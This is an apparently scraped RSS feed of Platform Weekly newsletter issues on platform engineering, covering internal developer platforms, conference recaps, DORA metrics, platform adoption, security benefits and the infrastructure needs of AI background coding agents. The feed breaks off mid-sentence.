\ud83e\udd50\nLuca\n\u200d]]>\n  \n  Wed, 22 Mar 2023 00:00:00 GMT\n\n\n  The story of platform engineering\n  https://platformweekly.com/issues/the-story-of-platform-engineering\n  https://platformweekly.com/issues/the-story-of-platform-engineering\n  \n  \nHey there! This is Platform Weekly, your personal platform engineering butler. We hand-deliver the top-shelf stuff on a silver platter. \ud83e\udd50 Let\u2019s get bakin\u2019\nThe story of platform engineering\nThis week\u2019s edition of Platform Weekly is an excerpt from my latest article on the story of platform engineering. Read the full article here.\nPlatform engineering isn\u2019t just a trend, it\u2019s the future of software delivery.\nJust a few years ago, this would have been nothing more than a wild claim. Sure, some organizations had started cobbling together their complex tech and tools into something that was easier for developers to use independently of Ops. But \u201cplatform engineering\u201d as an established discipline didn\u2019t exist yet.\nThat all changed in 2019 when we started the first platform engineering meetup in Berlin. At the time, it was a small group of engineers who were frustrated with DevOps adoption at their organizations. While \u201cyou build it, you run it\u201d DevOps helped some software teams boost productivity and efficiency, it was extremely painful for everyone else. \nFor the vast majority of engineering organizations, the growing complexity of cloud-native technologies and architectures, paired with the expectation for developers to be responsible for it all, was a crippling combination. Developers burnt out trying to ship code fast under increasingly high cognitive load. Ops were drowning in tickets from developers overwhelmed by their DevOps setups. Everyone was frustrated, and productivity suffered. Something needed to change.\nIn 2019, we had a fuzzy idea of what successful platforms and platform teams could look like. But the examples we had were still those from Google and Netflix, models that weren\u2019t attainable for most other organizations. That\u2019s where our small meetup group came in. We wanted a space to share our learnings and get advice from practitioners who\u2019d built platforms at organizations more similar to ours. \nThis small but rapidly growing community realized that building platforms was its own discipline, complementary to but still different from DevOps. They called it platform engineering.\nPlatform engineering resonated with a lot of folks. It gave a name to and a shared understanding of something that already existed. When the Berlin meetup moved online during the pandemic, more and more platform engineers in cities around the world created their own chapters. \nQuick bites\n\n\nCalling all fans of salary transparency! Help your fellow platform practitioners know their worth when you respond to the 2023 Platform Engineers Salary Survey. It\u2019ll take you ~2 minutes, and it helps the community a lot. \ud83d\udcaa\n\nICYMI: OpenTF is now OpenTofu and has joined The Linux Foundation.\n\n\nPlatform engineering is all the rage these days. This article can help you separate the facts from the hype.\n\nDon MacVitte shares his take on the future of AI in work: \u201cThere is a concept we need to solidify that I will call the 90% Rule\u2014until someone smarter than me comes up with a better name. The 90% Rule is simple: Generative AI will be able to do 90% of the work in areas that it is good at.\u201d\n\nThe API Gateway is fast becoming an essential part of the cloud operating system.\n\n\nRecent controversy around McKinsey\u2019s article \u2018Yes, you can measure developer productivity\u2019 begs the question: Should we measure developer productivity?\n\nANZ\u2019s platform tech lead Michael Fornaro on building Internal Developer Platforms: \u201cIt\u2019s not a one-time thing [that] you just build and walk away [from]. It\u2019s got a life.\u201d]]>\n  \n  Wed, 04 Oct 2023 00:00:00 GMT\n\n\n  What every platform engineer needs to know\n  https://platformweekly.com/issues/what-every-platform-engineer-needs-to-know\n  https://platformweekly.com/issues/what-every-platform-engineer-needs-to-know\n  \n  \nWe\u2019ve just kicked off the latest class of our Platform Engineering Certifications, which means I\u2019ve had the chance to have a chat with 50+ students on their thoughts and hopes. These are people who either want to be platform engineers or want to do platform engineering better (either as a Head of Platform Engineering or as a team member).\n9/10 times. They need to know the same things.\n\n\nCULTURE CULTURE CULTURE. Longtime readers are probably tired of me banging this drum. But in the vast majority of conversations I have about people's challenges or their plans, they fundamentally underestimate how much more important the cultural side of platform engineering (Platform as Product, product management principles, etc) is compared to the technical.\n\nPlatform engineering is a multi-player game. Your platform team will touch security, legal, compliance, devs & ops, infrastructure, and executives. It cuts across the entire org. You cannot over-optimize on one stakeholder. Not if you want to actually build it, and not if you want people to actually get value from it!\n\nAI is going to change everything. AI-powered platforms are already doing crazy things. Code generation and god forbid infra file generation aren\u2019t great. But AI is going to sweep through every piece of the platform engineering puzzle, and we need to be ready for it - and the security, and compliance challenges that brings.\nThere is a reason we focus so much on this in our courses. If you miss any of these 3 points, you aren\u2019t going to succeed as a platform engineer. It really is as simple as that.]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  Build vs. buy your Internal Developer Platform?\n  https://platformweekly.com/issues/build-vs-buy-your-internal-developer-platform\n  https://platformweekly.com/issues/build-vs-buy-your-internal-developer-platform\n  \n  \nHey there! \ud83e\udd50 It\u2019s Platform Weekly, the platform engineering newsletter smooth as a well-aged whiskey, minus the hangover. Let\u2019s get bakin\u2019\nShould you build or buy your Internal Developer Platform?\nShould you build your Internal Developer Platform (IDP) or buy? It\u2019s a big question, especially for enterprise.\nAn important clarification: you can\u2019t just buy an IDP. Instead, you would get a  Platform-as-a-service (PaaS). A PaaS is one tool that covers parts of CI, CD, environments, infrastructure, and interfaces for developers. A PaaS can be great for startups or engineering organizations with less than 50 developers. But there are significant limitations for larger enterprises: lack of customization, limited or no ability for developers to directly access underlying technologies, integration challenges with legacy technologies, and vendor lock-in. \nAn Internal Developer Platform \u201cconsists of many different tech and tools, glued together in a way that lowers cognitive load on developers without abstracting away context and underlying technologies.\u201d Successful IDPs are built following a platform as a product approach.\nAccording to Humanitec\u2019s 2023 DevOps Benchmarking study, top performing organizations don\u2019t build their Internal Developer Platform from scratch. Instead, they use a combination of open source and vendor tools tailored to their specific needs. IDPs built this way work in a brownfield setup, offer more freedom and flexibility, unlock long-term cost savings, and prevent vendor lock-in. \nFor brownfield enterprise setups, building an IDP is necessary to properly integrate legacy systems and keep the flexibility required by medium and large organizations. In short: If you\u2019re an enterprise, buying a PaaS simply won\u2019t work.\nWant to build an Internal Developer Platform but don\u2019t know where to start? Check out these reference architectures inspired by McKinsey\u2019s research of hundreds of real-life setups.\n\u064eQuick Bites\n\n\nMaurico (Salaboy) Salatino joined a recent episode of the PurePerformance podcast to weigh in on practical platform engineering vs. the marketing hype.\n\nHow can Akin\u2019s Laws of Spacecraft Design translate to good software design?\n\nHere are some ways engineering teams can better handle unplanned work.\n\nIntuit\u2019s pivot to cloud computing meant they had to change (almost) everything about how they build and manage application infrastructure. Platform engineering was part of the solution.\n\nBuild your IDP at light speed with the first-ever platform reference architecture, courtesy of the team at McKinsey \ud83d\udc47\n\n\nDave Sudia took a stab at using AI assistants for platform engineering and shared what he learned from the process.\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n \n\u200d]]>\n  \n  Thu, 12 Dec 2024 00:00:00 GMT\n\n\n  Platform Engineer courses & Kelsey Hightower Q&A!?\n  https://platformweekly.com/issues/platform-engineer-courses-kelsey-hightower-q-a\n  https://platformweekly.com/issues/platform-engineer-courses-kelsey-hightower-q-a\n  \n  \nHey there! Am I dreaming? Or is PlatformCon 2024 really this awesome? \nPlatform Engineer courses & Kelsey Hightower Q&A!?\nWe are officially 3 days away from the launch of PlatformCon 2024, and the event just keeps getting better. Not only did I get to announce the first-ever official platform engineering course last week BUT this week I get to share that Kelsey Hightower will be doing a live Q&A to close off the first day of PlatformCon\ud83d\ude31\nKelsey wasn\u2019t just a key contributor to Kubernetes, he\u2019s been a leader and a teacher in this space for years, and it\u2019s awesome to have him at PlatformCon this year. \nBut it\u2019s not just Kelsey, making this year so cool. It is truly a worldwide platform engineering event, with some pretty awesome live events from New York to Shanghai.\nWhat part are you most excited about?\nQuick bites\nEvents Articles of the week:\n\n\nIf you\u2019re in New York, or Austin - these events are looking awesome!\nFrom the community:\nThe Platform Engineering Slack is getting crazy with PlatformCon fever. Come join!]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  Platform Engineering takes over KubeCon\n  https://platformweekly.com/issues/platform-engineering-takes-over-kubecon-2\n  https://platformweekly.com/issues/platform-engineering-takes-over-kubecon-2\n  \n  \nHey there! This is Platform Weekly, your weekly dive into the wide world of platform engineering. Special guest writer, my friend and colleague platform master Mathieu Benoit breaks down everything platform engineering this years KubeCon Europe.\nPlatform Engineering takes over KubeCon\nThis platform weekly is from Mathieu Benoit\u2019s article Platform Engineering @ KubeCon Paris 2024\nKubeCon Paris 2024 just ended! That was my 3rd KubeCon in-person, 2nd as both Cloud Native Ambassador (CNA) for the CNCF and Customer Success Engineer for Humanitec.\nWithout any surprise, Platform Engineering was again a big topic of discussion during KubeCon Paris 2024. And yes, AI/ML was everywhere too. But both are not incompatible! ;)\nIn comparison to the previous KubeCon Chicago 2023, I saw less talks and discussions about the building blocks of the Platforms, but instead KubeCon Paris 2024 was more about the capabilities and the interfaces with the Platforms. The focus was more about customers stories and best practices around Platform-as-Product and UX. Which I really appreciate!\ntl,dr\n\n\nThe TAG App Delivery and the WG Platforms did an amazing work to nurture and facilitate collaboration and knowledge sharing with the community.\n\nThe first ever PE Day was a huge success!\n\nPlatform Engineering was not only mentioned during the PE Day, but also across different other events.\n\nPE talks are not just anymore about toolings and building blocks, the community is elevating the discussion with best practices around Platform-as-Product, the UX of Platforms, etc.\n\nYes, AI/ML was everywhere too, but at the end of the day you need a solid Platform Engineering practice to be successful with it ;)\nThere is way more to absorb than just this TLDR. From lists of all platform engineering talks to Matthieu\u2019s awesome work at KubeCon. Read the full article here.\nQuick bites\nArticles that blew me away: \n\n\nWhy Isn\u2019t the World Upgrading Its Databases?\nFrom the community:\nWere you at KubeCon Paris? Share your thoughts in the channel]]>\n  \n  Wed, 03 Apr 2024 00:00:00 GMT\n\n\n  The early bird gets the platform worm\n  https://platformweekly.com/issues/the-early-bird-gets-the-platform-worm\n  https://platformweekly.com/issues/the-early-bird-gets-the-platform-worm\n  \n  \nHey there! This is Platform Weekly, your weekly fly through the platform engineering sky\ud83d\udd4a\nThe early bird gets the platform worm\nI had a lot of fun last year with special sessions, and promotional events for PlatformCon last year. This time as PlatformCon is bigger than ever (More events, more speakers, more days and of course more attendees!). We\u2019ve decided to go even bigger. That\u2019s why this year, we\u2019re running an early bird registration special full of AWESOME prizes.\nEveryone who registers before March 1st will enter the chance to win\ud83d\udc47\n\ud83d\udd38Access to special sessions with platform legends like Gregor Hohpe, Manuel Pais and more!\n\ud83d\udd38Some of the hottest items from the Platform Engineering store\n\ud83d\udd38The (in)famous DevOps is dead merch. Probably the thing I\u2019m most asked about\ud83d\ude1c\n\ud83d\udd38And much much more!\nWe wanted to make this really simple, so all you have to do is register for PlatformCon 2024 before March 1st, and you have the chance to win\ud83c\udfc6\nQuick bites\nWho said evolution isn\u2019t real?\nArticles that blew me away: \n\n\n How Platform and Site Reliability Engineering Are Evolving DevOps\nFrom the community:\n\n\nTell your platform story. What got you into Platform Engineering?]]>\n  \n  Wed, 03 Apr 2024 00:00:00 GMT\n\n\n  Platform analytics is how you win \ud83e\udd47\n  https://platformweekly.com/issues/platform-analytics-is-how-you-win\n  https://platformweekly.com/issues/platform-analytics-is-how-you-win\n  \n  \nHello!\nGood data is key to a successful platform. Today\u2019s issue will cover what you should look for in your setup.\nLet\u2019s get bakin\u2019 \ud83e\udd50\nPlatform analytics is how you win\nThere are a lot of steps in the software delivery process between developers and customers and just as many opportunities for things to go wrong. That\u2019s why you want to streamline the process, making it faster and more reliable.\nIn order to do that, your platform needs to provide some necessary data. \ud83d\udcca A good engineering analytics platform gives you the tools you need to identify how different pipelines are performing and where inefficiencies exist.\nThe most important measurements of success for delivery systems are:\n1\ufe0f\u20e3 Velocity. The faster you move, the faster you can respond to market demands or client feedback. Keep in mind that this will mean different things to different team members and that each perspective is valid. For example, velocity for a software engineer is how long it takes to work through their PR from the moment they open it until it\u2019s reviewed and merged in. For DevOps, velocity could be about how long an average build takes. For the whole process, velocity is the release cycle: how long something takes from inception to getting out the door.\n\n2\ufe0f\u20e3 Risks. Risk is unavoidable. For example, if you move too fast, security or quality can suffer. Thankfully, risk leaves early warning signals. Analyzing each phase of the cycle will help you identify what these signs are in your setup. If items spend a lot of time in development, for example, this indicates that the features are too large.\n3\ufe0f\u20e3 Throughput. If you move too slowly in your quest for quality, your final throughput numbers will suffer.\nYou need to find a good balance between the three that matches the needs of your organization and teams.\nIf you\u2019re into DevOps, you\u2019ll want to use DORA metrics: deployment frequency, lead time for change, time to restore, change failure rate. DORA will help you determine the three measurements we discussed earlier.\nWhen you put this all together, you can define tangible success criteria and deliver insights to the right stakeholders. Over time, the metrics will pinpoint where teams are improving and areas for growth. This can make your delivery pipeline more predictable and efficient.\nIt\u2019s important to note that data isn\u2019t a silver bullet. You still need to foster transparency, pay attention to trends, develop a positive team culture, and get internal buy-in. That being said, the more data you have, the easier it is to achieve great things.\nWant to dive deeper? Watch Logilica Founder Ralf Huuck\u2019s PlatformCon talk on delivering predictably with platform analytics.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Looking for the best DevOps tools in 2022? Search no further. This overview by Romaric Philog\u00e8ne has you covered.\n\ud83e\udd50 Interesting read about how Airbnb automates incident management in a rapidly evolving ensemble of microservices.\n\ud83e\udd50 So you're a podcast person. Don't worry, I gotchu. On the lastest episode of The Engineering Enablement Podcast, Picnic Technologies\u2019 Jelmer Borst talks about the value of having a Product Manager in a platform team:\n\ud83e\udd50 Now taking nominations for the worst URL ever created...\nThat's it for the #5. Learned something new? Then share it and spread the platform \ud83c\udf89\nThis is a community-driven newsletter, so if you have anything \ud83d\udd25 to share from the cloud-native world, send it our way. You can submit your ideas here.\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  Optimizing Feedback Loops To Improve DevEx\n  https://platformweekly.com/issues/optimizing-feedback-loops-to-improve-devex\n  https://platformweekly.com/issues/optimizing-feedback-loops-to-improve-devex\n  \n  \nHey there!\nEveryone is talking about the developer experience, and for good reason. I\u2019m super excited to welcome another guest author from the community: Okay\u2019s CEO and Co-founder Antoine Boulanger. He\u2019s sharing his approach to boosting DevEx.\nLet\u2019s get bakin\u2019\nOptimizing feedback loops to improve DevEx\nAntoine Boulanger, CEO and Co-founder at Okay\nUnderstanding your engineers\u2019 pain points is important for determining which feedback loops to investigate and address. The approach is very different when the CS team is overloaded with customer bug reports, vs when the engineering team is frustrated that it can't ship code fast enough.\nThere are three main types of feedback loops:\n\n\nQuality - all the flows that engineers use to ensure they\u2019re building code that meets their customers\u2019 requirements\n\nDelivering code - all the flows engineers use while writing and modifying code\n\nProcess - all the checklists or meetings engineers are required to attend as part of their job responsibilities\nEach category has its own set of feedback loops that can be evaluated and optimized to improve the effectiveness of the team. Below are examples of common loops across each category.\nQuality Feedback Loops:\n\n\nWriting a new test \n\nCode reviews \n\nResponding to page\nDelivering Code Feedback Loops:\n\n\n Common IDE/CLI commands \n\nFinding documentation \n\nBuilding a service \n\nCreating a new service \n\nDeploying a change \nProcess Feedback Loops:\n\n\nPostmortems \n\nAgile/Scrum \n\nOnboarding to a new team \n\nOn-call \nOptimizing feedback loops to improve productivity typically follows its own loop:\n\n\n Catalog all your existing feedback loops with an understanding of their frequency, latency, usability, and purpose.\n\nCreate a prioritization framework that weighs these factors in a way that is consistent with your values and culture.\n\nCreate an action plan to prioritize.\nRemember that sometimes, the right choice can be to remove the loop altogether. For example, let\u2019s say you have a centralized approval committee that requires every engineer to present a design for every new change. It\u2019s important to evaluate and measure whether this process loop is accomplishing its purpose, and worth the ROI.\nLoops must be analyzed and measured because many of them are frequently overlooked. It\u2019s very tempting to ignore and delay indefinitely working on slow build times, and continue prioritizing new features instead. Over time, too many poor loops can lead to the feeling of death by a thousand cuts.Check out the full article here.\n\u200d\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Platform engineering =/= building fancy UIs. Kaspar von Gr\u00fcnberg explains how confusing the two is kneecapping your organization\u2019s platform engineering efforts.\n\ud83e\udd50 Most platform engineering pitfalls can be avoided with treating your platform as a product. Aaron Erickson makes his case over at InfoQ.\n\ud83e\udd50 Platform engineering helps you do more with less. Daniel Bryant explains:\n\u201cIf the developer experience \u2014 and enabling the developer\u2019s work \u2014 is crucial to achieving business goals and using resources wisely, the DevOps/PlatformOps role and platforming engineering are equally instrumental in continuously improving and safeguarding the developer experience.\u201d\n\ud83e\udd50 What happens when you create a pod in Kubernetes? A thread \ud83e\uddf5\nHave you joined the Platform Engineering Slack channel? If not, you're missing out. Here are some highlights from the community: \n\n\nPlatform engineers from our community are looking for a job \n\nEnabling GitHub authentication provider in the Backstage frontend\n\nOpen source examples on how to coordinate a golden path document at my organization\n\nLooking for a cost-effective, scalable, and reliable log analysis solution\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Wed, 15 Mar 2023 00:00:00 GMT\n\n\n  How to drive platform adoption\n  https://platformweekly.com/issues/how-to-drive-platform-adoption\n  https://platformweekly.com/issues/how-to-drive-platform-adoption\n  \n  \nHey there! Welcome to Platform Weekly. Your kick of platform engineering sand. Every week we unpack the latest and greatest in platform engineering news, trends, best practices, and lessons.\nWhat\u2019s hot this week:\n\n\nI tried to summarise 30 pages of data into 1 webinar on the State of Platform Engineering\n\nEverything you need to know about the platform engineering certification\n\nThe PlatformCon CFP is filling up at the fastest rate ever!\nwhy 18% of platforms are failing\nThere is a reason why one of the most common stories in the platform engineering fundamentals course is, \u201cWe built a platform. No one is using it. Now what?\u201d You might have the best platform ever - but if no one uses it who cares? Or worse, if those who use it are only active users because it\u2019s been enforced..\nAdoption is the life or death question for any product, and platform engineering is no different. It\u2019s no surprise that when looking at data from the most recent State of Platform Engineering most platforms, if they are adopted, are adopted by force. If you spent a year and 4m building one and no one uses it? Well, guess you have to force your customers to use it.\nWhat you don\u2019t realize is that your only adoption is by force - your platform is likely dead already.\nSo what can you do if you want to avoid this deathtrap and ensure your platform actually gets adopted? This is an immense topic ofc, we cover it across multiple hours in the course. But here are 3 crucial things to think about.\n\n\nBottom Up Top Down: As my friend Kaspar von Gr\u00fcnberg eloquently put it in his newsletter last week. By focusing on the developer from the beginning, you are building allies from the ground up, and most of all you\u2019re understanding what the actual users need. 1 developer who LOVEs your platform has 100x more power to drive adoption than anyone else.\n\nStart small: I guarantee that if you start small with a single team, you\u2019ll have more users on your platform in 1 year, than if you tried to build a platform for 100 teams on day 1. \n\nACTUALLY TREAT YOUR PLATFORM LIKE A PRODUCT: How banal and obvious you might shout at me here. Platform as a Product is such a key part of platform engineering for a reason. Good products involve user research, they involve feedback and iteration. They are about understanding your customers\u2019 needs, wants and balancing the two. I can guarantee you that half the platforms surveyed in the state of platform engineering are missing the key details of Platform as a Product (whether it\u2019s they\u2019re fault or not).\nIt\u2019s not a coincidence that the platform engineering course focuses so heavily on helping teams understand how to actually put platform as a product into practice, how to start small, and grow, and how to sell your platform.\nBecause in the end, that is what is going to drive adoption of it. And in the end. Adoption is everything.]]>\n  \n  Mon, 04 Aug 2025 00:00:00 GMT\n\n\n  2024 platform engineering recap\n  https://platformweekly.com/issues/2024-platform-engineering-recap\n  https://platformweekly.com/issues/2024-platform-engineering-recap\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly sip of platform engineering mulled wine. Every week we cover all things platform engineering from new community initiatives to best practices, learnings, and news. We\u2019ve just got 2 more platform weeklies in this wild year of 2024. They\u2019ll be great ones.\nWhat\u2019s hot this week:\n\n\nIt\u2019s your last chance to use your 2024 learning budget to join the platform engineering certification course\n\nIn LATAM and looking for a new platform engineering job?\n\nMeet the first 30 platform engineering community ambassadors!\n2024 in review\nIt\u2019s been an incredible year. To think 365 days ago, we only just launched PlatformCon 2024. There was no certification course. This newsletter was almost 6x smaller. And half the articles shared in Slack were about whether the platform engineering \u201cfad\u201d would fade away.\nIn Platform Weekly #62 which closed off last year, I was still blown away by how platform engineering had begun to take over the world of cloud-native events. I was excited about the idea of Minimum Viable Platforms and how they might radically change the risk profile of a platform engineering initiative. \nIt\u2019s been 52 weeks since then. Let\u2019s see how far we\u2019ve come.\n\n\nPlatform engineering goes mainstream: It was a big deal when Gartner put platform engineering on a hype cycle in 2022. This year\u2026 it was on 10. AND it had it\u2019s own. Plus infrastructure platform engineering saw itself on 8 as well\n\nAll in on learning: The community this year hosted 87 webinars. Launched the first-ever platform engineering certification track, Trainings for platform teams, and an ambassador program focused on building a community of experts within the community dedicated to helping us all learn and grow\n\nPlatformCon is officially huge: When I first dubbed PlatformCon, the world\u2019s largest platform engineering event, it was tongue-in-cheek, as in 2022 it was the only one. Now there are dozens - and PlatformCon truly holds that title. 2024 featured the first ever in-person live day, the first hands-on workshops, and grew from 2 days to 5 days with over 30,000 people flowing through it\nIt\u2019s not just these 3 points. 2024 was the year when standards and best practices for platform engineering really took off. The platform engineering reference architectures launched in 2023 were featured in almost 30% of talks at PC24.\nMinimum Viable Platforms (MVP) were barely more than theory this time last year, and now more than 90% of platform teams I work with are embracing this model. It\u2019s on the path to becoming the de-facto way enterprises approach platform initiatives.\nAnd all this is just from the last year's days\u2026\nWhat will the next 365 days look like? Well, for that you\u2019ll have to wait for next week.\nBut I can tell you that the community ain\u2019t finished growing yet. We kick off in January right away with more platform engineering courses. We\u2019ve got big things planned for PlatformCon. And there is a LOT planned with our first-ever group of Community Ambassadors.\nI can\u2019t wait.]]>\n  \n  Mon, 04 Aug 2025 00:00:00 GMT\n\n\n  What I learned at PlatformCon Paris\n  https://platformweekly.com/issues/what-i-learned-at-platformcon-paris\n  https://platformweekly.com/issues/what-i-learned-at-platformcon-paris\n  \n  \nYesterday, the world\u2019s largest platform engineering conference was in Paris for the first time ever. It was awesome! France is one of those countries where, if you don\u2019t know the people to talk to or the businesses, it\u2019s hard to know what\u2019s going on there.\nLuckily for me;) I know Luc Legardeur and his team at Wescale, alongside our awesome French platform engineering ambassadors. That gives me the secret tunnel into the awesome stuff that\u2019s happening in the French platform engineering universe.\n\n\n500+ attendees\n\n20 partners\n\n20+ speakers\nAnd this was just the first go!\nSo, what were some of the highlights?\n\n\nPlatform engineering fundamentals and challenges are universal. Whether you\u2019re French, Italian, or in Silicon Valley. Our best practices are the same.\n\nAI might be the elephant in the room. But platform engineering is the rocket that sends that elephant to Mars.\n\nThe stuff we are doing with AI now is Next. Level. And it\u2019s not just American startups doing. Luc\u2019s new adventure Solario.ai proves it\nWe\u2019ve now done London, New York, and Paris. Where should PlatformCon go next? Reply and let me know!]]>\n  \n  Mon, 24 Nov 2025 00:00:00 GMT\n\n\n  Platform Engineering takes over KubeCon\n  https://platformweekly.com/issues/platform-engineering-takes-over-kubecon\n  https://platformweekly.com/issues/platform-engineering-takes-over-kubecon\n  \n  \nHey there! This is Platform Weekly, your magnifying glass to all things platform engineering. Let\u2019s take a look\ud83d\udd0e\nPlatform Engineering takes over KubeCon\nKubeCon Chicago just finished, and it was awesome. I\u2019ve been going to KubeCon for years but this time was very different. This time it might as well have been PlatformCon live.\nIf you walked around Chicago this year, or sat in on calls or even just talked to people in the queue for the bathroom at House of Kube, it was clear that platform engineering has taken over a big part of the industry mindshare. I had so many amazing conversations with so many engineering organizations, and professionals of all sizes about their Internal Developer Platform and plans. This is huge.\nI was at KubeCon Valencia less than 2 years ago. I was there shouting to the hills about platform engineering. I\u2019ve been at every KubeCon since, talking to hundreds of people on the convention floors or at House of Kube, and the overwhelming response?\n\u201cWhat is platform engineering\u201d\nEven at my favorite KubeCon (you can probably guess which one that was #DevOpsIsDead), the majority of conversations I had were about what platform engineering actually is and how it works.\nPeople came to our booth and asked, \u201cOkay, so who are you?\u201d\nThis time, it could not have been more different. People not just know what platform engineering is. They want to see the platform orchestrator. They\u2019re building platforms. And some are building them pretty damn well.\nI think most would agree at this point that if platform engineering is not in your budgets for 2024 (or at the very least in your roadmap to look at), you are falling behind.\n\u200d\nQuick bites\nArticles that blew us away:\n\n\nWhat About the Infrastructure?\n\nEngineering Tomorrow: The Product-Centric Pathway to Generative AI \nFrom the community:\n\n\nHow to move from a DevOps team to a Platform Team\n\nWhat is the first thing that comes into your mind is when you hear the phrase, \"Improve Developer Productivity\"? \n\u200d]]>\n  \n  Fri, 15 Mar 2024 00:00:00 GMT\n\n\n  Security benefits of platform engineering\n  https://platformweekly.com/issues/security-benefits-of-platform-engineering\n  https://platformweekly.com/issues/security-benefits-of-platform-engineering\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly piece of the platform engineering orange. Every week, we unpack a part of the platform engineering universe diving into news, lessons, and best practices.Haven\u2019t answered the State of Platform Engineering 2024 surveys yet? Help us out!\n\n\nState of Platform Engineering 2024 Survey\n\n2024 Platform Engineer Salary Survey\nSecurity benefits of platform engineering\n\u200d\nThere are two contradictory truths in the wide world of large-scale platform engineering projects.\nThe first is that almost no one (except security) cares about security. The second is that nothing gets done, without sign-off from security.\nI was on a call with almost 100 people yesterday talking about platform engineering. Some were people who\u2019d only just started their first platform engineering role, others were Heads of platform teams with 30 years of experience. When I asked the group, \u201cWhat problems are you looking to solve with platform engineering?\u201d Almost zero of them mentioned security.\nThe answers were what you can imagine, standardization, cognitive load, ticket ops, etc. And it\u2019s completely understandable, those are the big money makers. It\u2019s what\u2019ll get you the funding you want for your platform, and they\u2019re what\u2019ll have the most impact on your organization.But they aren\u2019t enough to pass the most important sniff test of all. Will security sign off?\nLet me explain why they should.\nThe beautiful thing about platform engineering is that you can focus on all those money-makers\u2026 and better security comes with it.\nUnlike with, say, DevOps, the elements of platform engineering (the building of an Internal Developer Platform as a product) that drive business value are often the same that can drive improved security. And if they aren\u2019t automatically aligned, building an IDP that enables security by design is relatively simple and does not slow down or take away from your platform engineering initiative at all.\nThe standardization that drives better workflows that decrease config spread, and improve developer self-service so they can deploy faster and easier - is the same standardization that makes everything in your org easier for security to maintain.\nThose golden paths you\u2019re building to simplify devs' lives likely also for example massively reduce the attack service of your organization by decreasing the number of non-standard un-compliant environments and unique configurations that attackers can exploit.\nAt the same, platform engineering brings with it an unparalleled degree of versatility and scalability. \nDoes your organization need military-grade security for your Internal Developer Platform? \nWell, it can have it.\nDoes your org need multiple clouds? On-prem, and some air-gapped? Sure. It can have it.\nOr maybe it just needs to reduce the number of incorrectly made TF files. It can do that too.\nTake a look around your platform initiative. Especially if security isn\u2019t something you\u2019ve had in mind. Where might it easily fit in?\nYou might realize you might have had the arguments to convince your security team in front of you the whole time.\nYou won\u2019t find us needing PlatSecOps in 5 years time.\nYou\u2019ve got it covered already.\nP.S. It's your last chance to fill in the State of Platform Engineering survey!\n\n\nState of Platform Engineering 2024 Survey\n\n2024 Platform Engineer Salary Survey]]>\n  \n  Mon, 02 Dec 2024 00:00:00 GMT\n\n\n  AI agents need infra (and that's now your problem)\n  https://platformweekly.com/issues/ai-agents-need-infra-and-thats-now-your-problem\n  https://platformweekly.com/issues/ai-agents-need-infra-and-thats-now-your-problem\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly screw of the platform engineering bulb. Every week, we zoom into another area of platform engineering gold from community updates, to lessons and best practices. This week we\u2019ve got another banger guest newsletter from Lou Bichard\n\n\nHow to build a CI from the ground up (as good as the hyperscalers)\n\nHow to make self-service infrastructure 10X easier for developers\n\nAnother next level AI agent for the enterprise!?\nAI agents need infra (and that's now your problem)\nThe industry just leaped from \"AI suggests a line of code\" to \"AI writes entire pull requests while you sleep\" practically overnight. But I\u2019d forgive you for missing the announcements as keeping up with AI right now is like drinking from a firehose. Let me bring you up to speed on what\u2019s coming for your infrastructure.\nIn May, Google dropped Jules, an AI agent that can autonomously handle complex coding tasks in the background. OpenAI launched Codex that spins up its own development environments to work across entire codebases, writing and testing code without supervision. And Gitpod released Ona, designed specifically to run these autonomous agents securely within enterprise infrastructure. \nI can guarantee that in the next few months \u2013 or possibly even already \u2013 you're going to get tasked with evaluating these background coding agent tools. If you don't make that decision soon, there's a good chance your developers are already making it without you right now.\nYour new AI teammates will need somewhere to live\nSo what exactly are these new agent tools, and how do they work?\nBackground agents work like having an AI teammate you can assign tasks to and walk away from. Instead of sitting in your editor making suggestions, you give them a well-defined goal \u2013 \"add authentication to this API,\" \"migrate this component to TypeScript,\" or \"write unit tests for this module\" \u2013 and they go off and handle it independently.\nYou might trigger them by assigning a GitHub issue to an AI agent, messaging them in Slack, or using a dedicated interface where you describe what you want done. The agent then spins up its own isolated development environment in the cloud, clones your repository, writes the necessary code, runs tests, and eventually opens a pull request for your review.\nThey're surprisingly capable at handling routine but time-consuming tasks: refactoring legacy code, updating documentation, fixing bugs based on error logs, or implementing well-specified features. But they're not entirely magic (at least, not yet) as they can struggle with ambiguous requirements, complex architectural decisions, or tasks that require deep business context. As they work autonomously you lose the step-by-step visibility you get with traditional coding assistants which means you now need robust infrastructure and processes in place.\nThe most important difference to code assistants though is that background agents can't just run on a developer's laptop. To run in the background and in parallel they need environments where they can clone repos, install dependencies, run tests, and iterate on code. \nIn short, these agents need somewhere to actually run.\nAnother major challenge for platform teams is that most AI coding tools are built by YC-backed startups targeting other Silicon Valley companies. If you're working at an enterprise (and let's be honest, most platform teams are), these tools aren\u2019t designed for your reality. There's no way sending source code to an insecure LLM is going to pass your security team review.\nYour CISO-approved checklist for background agents\nWhen evaluating AI agents, you need to think beyond \"does it write good code?\" The key questions are: Does your source code leave your network? Can you audit what the agent accessed and modified? Does it integrate with your existing SSO and repository permissions? \nEach agent task should run in its own sandboxed environment with network policies you control. For larger organizations, you need multi-tenancy so different teams can't see each other's work. And critically \u2013 where does the actual processing happen? Most current tools ship your code to third-party clouds, which is often a non-starter for enterprises. \nNothing gets through to the enterprise unless it gets passed security first. That means you will always need more than just an off-the-shelf AI tool. Take Ona, for example, it's built as a privacy-first software engineering agent specifically for enterprise infrastructure. Any other approach to AI tooling isn't going to deliver what you need (or potentially even get approved).\nThe uncomfortable truth is that this AI reality is now upon us. As platform engineers, we can either drive this change and be the innovators who shape how our organizations harness AI, or we risk being seen as the laggards who slow down progress and prevent our teams from moving forward. The moment is here for you to choose: what kind of developer experience do you 